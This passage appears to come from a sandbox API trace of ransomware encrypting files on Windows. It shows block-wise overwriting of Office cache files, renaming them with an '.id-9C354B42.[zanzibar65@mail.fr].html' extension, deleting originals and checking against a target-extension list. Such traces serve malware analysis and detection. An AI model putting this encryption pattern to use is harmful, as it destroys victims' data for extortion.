lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.141] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0046.141] WriteFile (in: hFile=0x21c, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0046.425] SetEndOfFile (hFile=0x21c) returned 1 [0046.425] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0046.425] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0046.425] WriteFile (in: hFile=0x21c, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.427] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0046.427] WriteFile (in: hFile=0x21c, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.429] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0046.429] WriteFile (in: hFile=0x21c, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.431] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0046.431] CloseHandle (hObject=0x21c) returned 1 [0046.431] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0046.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.431] lstrlenW (lpString=".doc") returned 4 [0046.431] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.431] lstrlenW (lpString=".docx") returned 5 [0046.431] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0046.431] lstrlenW (lpString=".pdf") returned 4 [0046.431] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.432] lstrlenW (lpString=".xls") returned 4 [0046.432] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.432] lstrlenW (lpString=".xlsx") returned 5 [0046.432] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0046.432] lstrlenW (lpString=".ppt") returned 4 [0046.432] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.432] lstrlenW (lpString=".zip") returned 4 [0046.432] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.432] lstrlenW (lpString=".rar") returned 4 [0046.432] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.432] lstrlenW (lpString=".bz2") returned 4 [0046.432] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.432] lstrlenW (lpString=".7z") returned 3 [0046.432] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.432] lstrlenW (lpString=".dbf") returned 4 [0046.432] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.432] lstrlenW (lpString=".1cd") returned 4 [0046.432] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.432] lstrlenW (lpString=".jpg") returned 4 [0046.432] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.432] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.432] lstrlenW (lpString=".doc") returned 4 [0046.432] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.432] lstrlenW (lpString=".docx") returned 5 [0046.432] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0046.432] lstrlenW (lpString=".pdf") returned 4 [0046.432] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.433] lstrlenW (lpString=".xls") returned 4 [0046.433] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.433] lstrlenW (lpString=".xlsx") returned 5 [0046.433] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0046.433] lstrlenW (lpString=".ppt") returned 4 [0046.433] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.433] lstrlenW (lpString=".zip") returned 4 [0046.433] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.433] lstrlenW (lpString=".rar") returned 4 [0046.433] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.433] lstrlenW (lpString=".bz2") returned 4 [0046.433] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.433] lstrlenW (lpString=".7z") returned 3 [0046.433] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.433] lstrlenW (lpString=".dbf") returned 4 [0046.433] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.433] lstrlenW (lpString=".1cd") returned 4 [0046.433] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.433] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.433] lstrlenW (lpString=".jpg") returned 4 [0046.433] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.433] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1 [0046.433] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0046.433] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0046.434] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=715834) returned 1 [0046.434] CloseHandle (hObject=0x21c) returned 1 [0046.434] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0046.434] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.434] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0046.434] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0046.434] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0046.434] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0046.434] GetLastError () returned 0x0 [0046.434] ReadFile (in: hFile=0x21c, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0046.750] WriteFile (in: hFile=0x1ac, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0046.764] ReadFile (in: hFile=0x21c, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0046.764] WriteFile (in: hFile=0x1ac, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x104, lpOverlapped=0x0) returned 1 [0046.764] SetEndOfFile (hFile=0x1ac) returned 1 [0046.764] CloseHandle (hObject=0x1ac) returned 1 [0046.764] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0046.764] SetEndOfFile (hFile=0x21c) returned 1 [0046.770] CloseHandle (hObject=0x21c) returned 1 [0046.770] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0046.770] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0046.770] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.771] lstrlenW (lpString=".doc") returned 4 [0046.771] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString=".docx") returned 5 [0046.771] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0046.771] lstrlenW (lpString=".pdf") returned 4 [0046.771] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString=".xls") returned 4 [0046.771] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString=".xlsx") returned 5 [0046.771] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0046.771] lstrlenW (lpString=".ppt") returned 4 [0046.771] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.771] lstrlenW (lpString=".zip") returned 4 [0046.771] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString=".rar") returned 4 [0046.771] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString=".bz2") returned 4 [0046.771] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString=".7z") returned 3 [0046.771] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0046.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.771] lstrlenW (lpString=".dbf") returned 4 [0046.771] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.771] lstrlenW (lpString=".1cd") returned 4 [0046.771] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0046.771] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.771] lstrlenW (lpString=".jpg") returned 4 [0046.771] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.772] lstrlenW (lpString=".doc") returned 4 [0046.772] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString=".docx") returned 5 [0046.772] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0046.772] lstrlenW (lpString=".pdf") returned 4 [0046.772] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString=".xls") returned 4 [0046.772] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString=".xlsx") returned 5 [0046.772] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0046.772] lstrlenW (lpString=".ppt") returned 4 [0046.772] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.772] lstrlenW (lpString=".zip") returned 4 [0046.772] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString=".rar") returned 4 [0046.772] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString=".bz2") returned 4 [0046.772] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString=".7z") returned 3 [0046.772] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0046.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.772] lstrlenW (lpString=".dbf") returned 4 [0046.772] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.772] lstrlenW (lpString=".1cd") returned 4 [0046.772] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0046.772] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0046.772] lstrlenW (lpString=".jpg") returned 4 [0046.772] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0046.773] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0046.773] lstrlenW (lpString="ProPrWW.cab") returned 11 [0046.773] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.183] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=177720283) returned 1 [0048.183] CloseHandle (hObject=0x214) returned 1 [0048.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0048.183] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.183] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0048.184] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0048.184] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0048.184] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0048.184] ReadFile (in: hFile=0x214, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.189] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0048.189] ReadFile (in: hFile=0x214, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.194] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.194] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0048.194] ReadFile (in: hFile=0x214, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.209] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0048.209] WriteFile (in: hFile=0x214, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0048.227] SetEndOfFile (hFile=0x214) returned 1 [0048.227] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0048.378] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0048.378] WriteFile (in: hFile=0x214, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.379] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0048.379] WriteFile (in: hFile=0x214, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.380] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0048.380] WriteFile (in: hFile=0x214, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.382] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0048.382] CloseHandle (hObject=0x214) returned 1 [0048.382] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0048.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.382] lstrlenW (lpString=".doc") returned 4 [0048.382] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.382] lstrlenW (lpString=".docx") returned 5 [0048.382] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.383] lstrlenW (lpString=".pdf") returned 4 [0048.383] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.383] lstrlenW (lpString=".xls") returned 4 [0048.383] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.383] lstrlenW (lpString=".xlsx") returned 5 [0048.383] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.383] lstrlenW (lpString=".ppt") returned 4 [0048.383] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.383] lstrlenW (lpString=".zip") returned 4 [0048.383] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.383] lstrlenW (lpString=".rar") returned 4 [0048.383] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.383] lstrlenW (lpString=".bz2") returned 4 [0048.383] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.383] lstrlenW (lpString=".7z") returned 3 [0048.383] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.383] lstrlenW (lpString=".dbf") returned 4 [0048.383] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.383] lstrlenW (lpString=".1cd") returned 4 [0048.383] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.383] lstrlenW (lpString=".jpg") returned 4 [0048.383] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.383] lstrlenW (lpString=".doc") returned 4 [0048.383] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.383] lstrlenW (lpString=".docx") returned 5 [0048.383] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.383] lstrlenW (lpString=".pdf") returned 4 [0048.384] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.384] lstrlenW (lpString=".xls") returned 4 [0048.384] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.384] lstrlenW (lpString=".xlsx") returned 5 [0048.384] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.384] lstrlenW (lpString=".ppt") returned 4 [0048.384] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.384] lstrlenW (lpString=".zip") returned 4 [0048.384] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.384] lstrlenW (lpString=".rar") returned 4 [0048.384] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.384] lstrlenW (lpString=".bz2") returned 4 [0048.384] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.384] lstrlenW (lpString=".7z") returned 3 [0048.384] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0048.384] lstrlenW (lpString=".dbf") 